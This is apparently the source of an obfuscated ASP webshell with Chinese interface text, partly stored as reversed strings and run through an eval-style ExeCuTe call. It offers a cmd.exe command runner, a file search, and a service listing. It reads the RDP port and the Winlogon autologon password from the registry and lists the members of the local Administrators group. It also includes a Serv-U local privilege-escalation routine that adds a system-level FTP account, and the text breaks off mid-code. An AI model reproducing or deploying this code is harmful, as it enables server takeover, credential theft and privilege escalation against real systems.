WR=WR ~¨~>rt<>dt/<>'timbus'=ssalc 'ÐÐÖ´'=eulav 'timbus'=epyt tupni<;psbn&>'¨~ & dmCfeD & ¨~'=eulav '084:htdiw'=elyts 'dmc'=eman tupni<£ºÁîÃüllehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/¨~ & dekcehc & ¨~'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'514:htdiw'=elyts '¨~ & htaPllehS & ¨~'=eulav 'PS'=eman tupni<£º¾¶Â·llehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÐÐÁîÃüdmC>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~dmc¨~(tseuqeR = dmCfeD nehT ¨~¨~><)¨~dmc¨~(tseuqeR fI ~fi dne ~¨~¨~=dekcehc ~esle ~¨~dekcehc ¨~=dekcehc ~neht ¨~sey¨~=)¨~tpircsw¨~(tseuqeR fi ~¨~exe.dmc¨~ = htaPllehS nehT ¨~¨~=htaPllehS fi ~)¨~htaPllehS¨~(noisseS=htaPllehS ~)¨~PS¨~(tseuqeR = )¨~htaPllehS¨~(noisseS nehT ¨~¨~><)¨~PS¨~(tseuqeR fI ~xcleliFo,eliFpmeTzs,gnoyoaix,DD,MC,dmCfeD,dekcehc mid ~)(llehSdmC noitcnuF" ExeCuTe(UZSS(Hacker)) Function TSearch() dim st st=timer() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
ËÑË÷ÒýÇæ
 Â·  ¾¶£º ×¢:¶à·¾¶Ê¹ÓÃ"",""ºÅÁ¬½Ó.
 ÎļþÃû£º  [²¿·ÖÒ²ÐÐ]
" Response.Write RW : RW="" if Request.Form("Sfk")<>"" then Set newsearch=new SearchFile newsearch.Folders=trim(Request.Form("SFpath")) newsearch.keyword=trim(Request.Form("Sfk")) newsearch.Search Set newsearch=Nothing Response.Write "·Ñʱ£º"&(timer()-st)*1000&"ºÁÃë
" end if End Function Class SearchFile dim Folders,keyword,objFso,Counter Private Sub Class_Initialize Set objFso=Server.CreateObject(ObT(0,0)) Counter=0 End Sub Private Sub Class_Terminate Set objFso=Nothing End Sub Function Search Folders=split(Folders,",") flag=instr(keyword,"\") or instr(keyword,"/") flag=flag or instr(keyword,":") flag=flag or instr(keyword,"|") flag=flag or instr(keyword,"&") if flag then Response.Write "

¹Ø¼ü×Ö²»ÄÜ°üº¬/\:|&
" Exit Function else Response.Write "

" end if dim i for i=0 to ubound(Folders) Call GetAllFile(Folders(i)) next Response.Write "

¹²ËÑË÷µ½"&Counter&"¸ö½á¹û
" End Function Private Function GetAllFile(Folder) dim objFd,objFs,objFf Set objFd=objFso.GetFolder(Folder) Set objFs=objFd.SubFolders Set objFf=objFd.Files dim strFdName On Error Resume Next For Each OneDir In objFs strFdName=OneDir.Name If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then SFN=Folder&"\"&strFdName Call GetAllFile(SFN) End If Next dim strFlName For Each OneFile In objFf strFlName=OneFile.Name If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then FN=Folder&"\"&strFlName Counter=Counter+ColorOn(FN) End If Next Set objFd=Nothing Set objFs=Nothing Set objFf=Nothing End Function Private Function CreatePattern(keyword) CreatePattern=keyword CreatePattern=Replace(CreatePattern,".","\.") CreatePattern=Replace(CreatePattern,"+","\+") CreatePattern=Replace(CreatePattern,"(","\(") CreatePattern=Replace(CreatePattern,")","\)") CreatePattern=Replace(CreatePattern,"[","\[") CreatePattern=Replace(CreatePattern,"]","\]") CreatePattern=Replace(CreatePattern,"{","\{") CreatePattern=Replace(CreatePattern,"}","\}") CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") CreatePattern="("&CreatePattern&")+" End Function Private Function ColorOn(FileName) dim objReg Set objReg=new RegExp objReg.Pattern=CreatePattern(keyword) objReg.IgnoreCase=True objReg.Global=True retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) if retVal then OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut Response.Write OutPut Response.flush ColorOn=1 else ColorOn=0 end if Set objReg=Nothing End Function End Class Hacker="noitcnuF dnE~¨~¨~=2WR: ¨~¨~=1WR: ¨~¨~=0WR: ¨~¨~=WR: ¨~>rb<>elbat/<¨~ & 2WR & 1WR & 0WR & WR etirW.esnopseR ~gnihtoN=as teS ~gnihtoN=esruoCjbo teS ~txen ~fi dne ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'000800#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 2WR=2WR ~esle ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'0000FF#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 1WR=1WR ~neht 2=epyTtratS.jbo dna ¨~niw¨~><))3,4,htap.jbo(dim(esaCL fi ~¨~Óýû¨~=xl neht 4=epyTtratS.jbo fi ~ ¨~¶¯ÊÖ¨~=xl neht 3=epyTtratS.jbo fi ~¨~¶¯×Ô¨~=xl neht 2=epyTtratS.jbo fi ~fi dne ~ ¨~>rt/<>dt/<;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~=0WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~)×é(»§ÓÃͳϵ¨~ & WR=WR ~ ¨~;psbn&>'FFFFFF#'=rolocgb dt<>dt/<¨~ & WR=WR ~emaN.jbo & WR=WR ~¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<¨~ & WR=WR ~¨~>rt<¨~ & WR=WR ~neht ¨~¨~=epyTtratS.jbo fi ~raelC.rrE ~esruoCjbo ni jbo hcae rof ~)¨~.//:TNniW¨~(tcejbOteG=esruoCjbo teS ~)¨~noitacilppA.llehS¨~(tcejbOetaerC=as teS ~txeN emuseR rorrE nO ~¨~>rt/<>dt/<Îñ·þÓ뻧ÓÃͳϵ>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~2WR,1WR,0WR,esruoCjbo,jbo,as mid ~)(esruoC noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~¨~=WR:WR etirW.esnopseR ~fi dne ~¨~>elbat/<¨~ & WR=WR ~esle ~gnihtoN=llehSHSW teS ~¨~>elbat/<>rt/<>dt/<¨~ & rtsdaeRsi & ¨~£ºÊÇÖµ¸Ã;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~))¨~emaNRT¨~(tseuqeR & )¨~htaPRT¨~(tseuqeR(daeRgeR.llehSHSW=rtsdaeRsi ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW teS ~neht )¨~¨~><)¨~emaNRT¨~(tseuqeR( dna )¨~¨~><)¨~htaPRT¨~(tseuqeR( fi ~ fi dne ~ fi dne ~ ¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & dwpnigoLotua & ¨~£ºÂëÃÜ»§ÕʵļµÇ¶¯×Ô;psbn&¨~ & WR=WR ~raelC.rrE nehT rrE fI ~)yeKdwpnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=dwpnigoLotua ~txeN emuseR rorrE nO ~¨~>rb<¨~ & resUnigoLotua & ¨~£º»§ÕÊͳϵµÄ¼µÇ¶¯×Ô;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=resUnigoLotua ~esle ~¨~>elbat/<>rt/<>dt/<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~neht 0=elbanEnigoLotua fi ~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=elbanEnigoLotua ~¨~drowssaPtluafeD¨~=yeKdwpnigoLotua ~¨~emaNresUtluafeD¨~=yeKresUnigoLotua ~¨~nogoLnimdAotuA¨~=yeKelbanEnigoLotua ~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=htaPnigoLotua ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW tes ~neht ¨~nogoLotuA¨~=)¨~di¨~(tseuqeR fi ~¨~>rt/<>dt/rb<\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH£º¾¶Â·Ïî;psbn&>rb<¿Ú¶Ë¶ËÖÕÈ¡¶Á£ºÈç¡¡Àý;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'002:htdiw'=elyts '¨~ & )¨~emaNRT¨~(tseuqeR & ¨~'=eulav 'emaNRT'=eman tupni<£º³ÆÃûÖµ;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>'025:htdiw'=elyts '¨~ & )¨~htaPRT¨~(tseuqeR & ¨~'=eulav 'htaPRT'=eman tupni<£º¾¶Â·Ïî;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~>a/<]Ï¢ÐżµÇ¶¯×Ô[>'nogoLotuA=di&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]³ÆÃû»ú±¾[>'emaNretupmoC=emaNRT&\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=htaPRT&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]¿Ú¶Ë¶ËÖÕ[>'rebmuNtroP=emaNRT&\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH=htaPRT&tidegeRT=noitcA?'=ferh a<£ºµÀͨËÙ¿ì;psbn&>'02'=thgieh 'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²ÙÈ¡¶ÁÖµ¼ü±í²á×¢>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem 'tidegeRT=noitcA?¨~&LRU&¨~'=noitca mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~dwpnigoLotua,resUnigoLotua,elbanEnigoLotua mid ~yeKdwpnigoLotua,yeKresUnigoLotua,yeKelbanEnigoLotua,htaPnigoLotua mid ~rtsdaeRsi,llehSHSW mid ~)(tidegeRT noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~>rb<>elbat/<¨~ etirw.esnopseR ~htiw dne ~txen ~¨~>rt/<>dt/<>tnof/<¨~&)vs(selbairaVrevres.tseuqeR&¨~>'WORRAN LAIRA'=elyts tnof<>dt<>dt/<>tnof/<¨~ etirw.esnopseR ~vs etirw.esnopseR ~¨~;psbn&>'WORRAN LAIRA'=elyts tnof<>dt<>rt<¨~ etirw.esnopseR ~selbairavrevres.tseuqeR ni vs hcae rof ~esnopser htiw ~vs mid ~¨~>rt/<>dt/<>tnof/<¹û½á>FFFFFF#=roloc tnof<>retnec=ngila dt<>dt/<>tnof/<ÃûÁ¿±ä>FFFFFF#=roloc tnof<>retnec=ngila dt<>rt<>rt/<>dt/<±íÁÐ selbairaVrevreS.tseuqeR>retnec=ngila '2'=napsloc dt<>rt<>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ etirw.esnopseR ~)(Ewohs noitcnuF" ExeCuTe(UZSS(Hacker)) function goback() set Ofso = Server.CreateObject("Scripting.FileSystemObject") set ofolder = Ofso.Getfolder(Session("FolderPath")) if not ofolder.IsRootFolder then Response.write "" else Response.write "" end if set Ofso=nothing set ofolder=nothing end function Function proxy() sx() proxy1() End Function Function proxy1() on error resume next url=lcase(request("pURL")) if url<>"" then if left(url,7)<>"http://" then url="http://" & url set xml=server.createobject("Microsoft.Xmlhttp") xml.open "Get",url,false,false xml.send if err then response.write "
ÎÞ·¨·ÃÎÊ.
":response.end proxyweb=B2Bstr(xml.responsebody) end if Response.write proxyweb End Function Function B2Bstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" B2Bstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function sx() RRS "" RRS "
" RRS "
µ¥Ò³´úÀí

" RRS "Address:" RRS " The Address what you want to visit" RRS "
" RRS "
" RRS "
" End Function function php() set fso=Server.CreateObject("Scripting.FileSystemObject") fso.CreateTextFile(server.mappath("lp.php")).Write"" Response.write" " Response.write "





Èç¹ûÄãÄÜ¿´µ½lp.phpÕý³£ÏÔʾ,±íʾ֧³ÖPHP

·ñÔò¾ÍÊDz»Ö§³ÖÀ­

ɾ³ý²âÊÔµÄPHPÎļþ

" End function function lpdel set fso=Server.CreateObject("Scripting.FileSystemObject") fso.DeleteFile(server.mappath("lp.php")) End function Hacker="noitcnuF dnE~¨~¨~=WR : WR etirW.esnopseR ~txeN ~¨~>rt/<>dt/<¨~&))0,i(TbO(jbOsI&¨~>'retnec'=ngila dt<>dt/<>tnof/<¨~&)1,i(TbO&¨~>'888888#'=roloc tnof<: ¨~&)0,i(TbO&¨~;psbn&>'02'=thgieh dt<>rt<¨~ & WR=WR ~41 oT 0=i roF ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~ & WR=WR ~¨~¨~ & WR=WR ~¨~>elbat/<>rt/<>dt/<¨~&)¨~ERAWTFOS_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:±¾°ærevreS SII;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SO¨~(selbairaVrevreS.tseuqeR&¨~:sO revreS;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>a/<>tnof/<]±íÁÐ selbairaVrevreS.tseuqeR[>'der'=roloc tnof<>'emarFeliF'=tegrat 'Ewohs=noitcA?'=ferh a<¨~ & WR=WR ~¨~;psbn&¸ö¨~&tnuoC.selbairaVrevreS.tseuqeR&¨~:Á¿±ä¾³»·;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SROSSECORP_FO_REBMUN¨~(selbairaVrevreS.tseuqeR&¨~:ÇéÏêUPC;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<;psbn&¨~&won&¨~:emiT revreS;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<)¨~&)¨~TROP_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:¨~ & PIrevreS & ¨~(¨~&MNrevreS&¨~:Ö·µØÆ÷Îñ·þ;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<]Ï¢Ðżþ×é[ ¿ö¸ÅÆ÷Îñ·þ>'unem'=rolocgb 'retnec'=ngila '4'=napsloc dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)(ofnIrevreS noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne~¨~krowteN.tpircsW:!ÏÞȨÓÐû¨~ etirw.esnopseR~neht rre fi~txeN~¨~>rb<>retnec/<¨~&emaN.nimda&¨~>retnec<¨~ etirw.esnopseR~srebmeM.puorGjbo ni nimda hcaE roF~)¨~puorg,srotartsinimdA/¨~&emaNretupmoC.Nt&¨~//:TNniW¨~(tcejbOteG=puorGjbo teS~)¨~krowteN.tpircsW¨~(tcejbOetaerc.revres=Nt teS~txen emuser rorre no~0=seripxE.esnopseR~)(banimda noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="buS dnE~¨~>lo/<¨~ SRR~fI dnE~¨~>rb<¨~ & drowssaPnigoLotua & ¨~ :ÂëÃÜ»§ÕʵļµÇ¶¯×Ô¨~ SRR~fI dnE~¨~eslaF¨~ SRR~raelC.rrE~nehT rrE fI~)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua~¨~>rb<¨~ & emanresUnigoLotua & ¨~ :»§ÕÊͳϵµÄ¼µÇ¶¯×Ô¨~ SRR~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotua~eslE~¨~>/rb<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ¨~ SRR~nehT 0 = elbanEnigoLotuAsi fI~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsi~¨~drowssaPtluafeD¨~ = yeKssaPnigoLotua~¨~emaNresUtluafeD¨~ = yeKresUnigoLotua~¨~nogoLnimdAotuA¨~ = yeKelbanEnigoLotua~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~ = htaPnigoLotua~fI dnE~¨~>/rb<¨~ & troPmret & ¨~ :¿Ú¶ËÎñ·þ¶ËÖÕÇ°µ±¨~ SRR~eslE ~¨~>/rb<.ÖÆÏÞµ½Êܾ­ÒÑ·ñÊÇÏÞȨ²é¼ìÇë ,¿Ú¶ËÎñ·þ¶ËÖÕµ½µÃ·¨ÎÞ¨~SRR~ nehT 0 >< rebmuN.rrE rO ¨~¨~ = troPmret fI~¨~>lo<>/rh<¼µÇ¶¯×Ô¼°¿Ú¶ËÎñ·þ¶ËÖÕ¨~ SRR~)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmret~¨~rebmuNtroP¨~ = yeKtroPlanimret~¨~\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH¨~ = htaPtroPlanimret~drowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miD~yeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miD~troPmret ,yeKtroPlanimret ,htaPtroPlanimret miD~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = Xsw teS~¨~------------------------------------------------------¨~ etirW.esnopseR~¨~>rb<¨~&troPWAP&¨~:Ϊ¿Ú¶ËerehwynAcP>il<¨~ etirW.esnopseR~¨~erehwynAcp×°°²·ñÊÇ»úÖ÷ÈÏÈ·Çë.È¡»ñ·¨ÎÞ¨~=troPWAP neht ¨~¨~=troPWAP fI~)yeKerehwynAcp(daeRgeR.hsW=troPWAP~¨~troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yeKerehwynAcp~¨~>rb<¨~&troPmreT&¨~:Ϊ¿Ú¶ËecivreS lanimreT>il<¨~ etirW.esnopseR~¨~»úÖ÷±¾°ærevreS swodniWΪ·ñÊÇÈÏÈ·Çë.È¡¶Á·¨ÎÞ¨~=troPmreT nehT ¨~¨~=troPmreT fI~)yeKmreT(daeRgeR.hsW=troPmreT~¨~rebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH¨~=yeKmreT~¨~>rb<¨~&troptnlT&¨~:¿Ú¶ËtenleT>il<¨~ etirW.esnopseR~¨~32¨~=tnlT nehT ¨~¨~=troPtnlT fi~)yeKtenleT(daeRgeR.hsW=troPtnlT~¨~troPtenleT\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yektenleT~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = hsw teS~¨~>1=ezis rh<>rb<]²â̽¿Ú¶ËÊâÌØ[>rb<>rb<¨~ etirW.esnopseR~txeN emuseR rorrE nO~)(ofnIlanimreTteg bus" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dne~gnihton=3tsopx tes~)sevael(dnes.3tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.3tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = 3tsopx tes~flrcbv & resut & ¨~=resU ¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~RESUETELED-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~esle~)¨~>RB<>rb<): ¨~ & htapt & ¨~ :¾¶Â· ¨~ & ssapt & ¨~ :ÂëÃܨ~ & ¨~ ¨~ & resut & ¨~ :Ãû»§Óà PTF£¡£¡ÐÐÖ´¹¦³ÉÁîÃü>der=roloc tnof<>retnec<¨~( etirw.esnopser~gnihton=tsopx tes~)sevael(dnes.tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = tsopx tes~txen emuser rorre no~flrcbv & ¨~tiuq¨~ & sevael = sevael~flrcbv & ¨~PDCLEMAWR|\¨~ & htapt & ¨~=sseccA ¨~ & flrcbv & ¨~enoN=soitaR-¨~ & flrcbv & ¨~ralugeR=epyTdrowssaP-¨~ & flrcbv & ¨~metsyS=ecnanetniaM-¨~~_ & flrcbv & ¨~0=mumixaMatouQ-¨~ & flrcbv & ¨~0=tnerruCatouQ-¨~ & flrcbv & ¨~0=tiderCsoitaR-¨~ & flrcbv & ¨~1=nwoDoitaR-¨~~_ & flrcbv & ¨~1=pUoitaR-¨~ & flrcbv & ¨~0=eripxE-¨~ & flrcbv & ¨~1-=tuOemiTnoisseS-¨~ & flrcbv & ¨~006=tuOemiTeldI-¨~ & flrcbv & ¨~1-=sresUrNxaM-¨~~_ & flrcbv & ¨~0=nwoDtimiLdeepS-¨~ & flrcbv & ¨~0=pUtimiLdeepS-¨~ & flrcbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & flrcbv & ¨~0=elbanEatouQ-¨~~_ & flrcbv & ¨~0=drowssaPegnahC-¨~ & flrcbv & ¨~0=nigoLwollAsyawlA-¨~ & flrcbv & ¨~0=neddiHediH-¨~ & flrcbv & ¨~0=eruceSdeeN-¨~~_ & flrcbv & ¨~1=shtaPleR-¨~ & flrcbv & ¨~0=elbasiD-¨~ & flrcbv & ¨~=eliFseMnigoL-¨~ & flrcbv & ¨~\¨~ & htapt & ¨~=riDemoH-¨~~_ & flrcbv & ssapt & ¨~=drowssaP-¨~ & flrcbv & resut & ¨~=resU-¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~PUTESRESUTES-¨~ & sevael = sevael~flrcbv & ¨~=yeKOZT ¨~ & flrcbv & ¨~0=elbanEOZT-¨~ & flrcbv & ¨~0|1|1-|¨~ & tropt & ¨~|¨~&pirevres&¨~|79944QQ=niamoD-¨~ & flrcbv & ¨~NIAMODTES-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ = tm~flrcbv & tropt & ¨~=oNtroP ¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~NIAMODeteleD-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~neht ¨~dda¨~ = )¨~nottuboidar¨~(mrof.tseuqer fi~006=tuoemit~)¨~ptsoh¨~(mrof.tseuqer = pitsoh~)¨~tropt¨~(mrof.tseuqer = tropt~)¨~htapt¨~(mrof.tseuqer = htapt~)¨~ssapt¨~(mrof.tseuqer = ssapt~)¨~resut¨~(mrof.tseuqer = resut~)¨~tropd¨~(mrof.tseuqer = trop~)¨~dwpd¨~(mrof.tseuqer = dwp~)¨~resud¨~(mrof.tseuqer = rsu~)¨~pires¨~(mrof.tseuqer = pirevres~¨~>mrof/<>elbat/<>rt/<>dt/<>'½»Ìá'=eulav 'mottub'=ssalc 'timbus'=epyt 'timbuS'=eman tupni<>DTBT=ssalc dt<¨~srr~¨~>dt/<³ýɾ¶¨È·>'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<¨~srr~¨~¼ÓÌí¶¨È·>'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>DTBT=ssalc dt<>rt<¨~srr~¨~>rb<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËÎñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>DTBT=ssalc dt<>dt/<:¾¶Â·µÄ¶ÔËùµÄºÅÕÊ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>DTBT=ssalc dt<>dt/<:ÂëÃÜ»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>DTBT=ssalc dt<>dt/<:Ãû»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËU-VRES>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>DTBT=ssalc dt<>dt/<: ÂëÃÜÔ±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>DTBT=ssalc dt<>dt/<:Ô±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'0.0.0.0'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pires'=eman tupni<>DTBT=ssalc dt<>dt/<:PIÆ÷Îñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>RT/<>DT/<>tnof/<¸Ä±»ÂëÃÜu-vreS±í´ú¾Í¹¦³É²»ÔÙ¹ûÈç>rb<¨~&)¨~RDDA_LACOL¨~(selbairaVrevreS.tseuqeR&¨~:PI´Ë³É¸ÄÐ޾͹¦³É²»0.0.0.0¹ûÈç>rb<½ÓÁ¬ÒԿɶ¼PIºÎÈαí´ú0.0.0.0:PIÆ÷Îñ·þ>rb<:Ã÷˵½ÓÁ¬PI>rb<>rb<°æɱͨÐò³ÌȨT U-vreS>'ffffff'=roloc tnof<>daeHBT=ssalc 2=napsloc DT<>RT<>ffffff#=roloCgb 0=redrob 084=htdiw 3=gniddapllec 1=gnicapsllec retnec=ngila ELBAT<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<¨~srr~)(ptfus noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dnE ~gnihtoN=nnoC teS ~esolC.nnoC ~~fI 